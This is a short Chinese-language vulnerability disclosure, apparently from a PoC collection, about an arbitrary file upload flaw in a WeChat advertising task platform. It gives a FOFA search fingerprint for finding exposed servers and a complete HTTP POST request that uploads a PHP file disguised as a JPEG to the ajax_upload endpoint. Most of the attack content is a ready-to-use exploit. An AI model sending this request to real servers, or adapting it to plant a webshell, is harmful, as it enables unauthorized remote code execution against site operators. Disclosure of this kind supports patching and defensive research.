# 微信广告任务平台存在任意文件上传漏洞

微信广告任务平台存在任意文件上传漏洞，允许攻击者上传恶意文件到服务器，可能导致远程代码执行、网站篡改或其他形式的攻击，严重威胁系统和数据安全。

## fofa

```javascript
"/tpl/Public/js/func.js"
```

![6f864edff209980117cfbf97e6d47bab](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202409240936570.png)

## poc

注意 这里需要普通用户登录之后操作.

```javascript
POST /index.php/Home/index/ajax_upload HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCc7iBZFp1mvojsxn
Accept: */*
Origin: http://127.0.0.1
Referer: http://127.0.0.1/index.php/Home/Index/index.html
Cookie: think_language=zh-CN; BJYADMIN=2150gjbkj92r835kg2dn9u9i75
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.0.0 Safari/537.36

------WebKitFormBoundaryCc7iBZFp1mvojsxn
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundaryCc7iBZFp1mvojsxn--
```

![35b6a5932d2f61c8b056edd7d83983b1](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202409240936176.jpg)



## 漏洞来源

- https://mp.weixin.qq.com/s/t3guPQ6s2GCMU4xZPmEeYw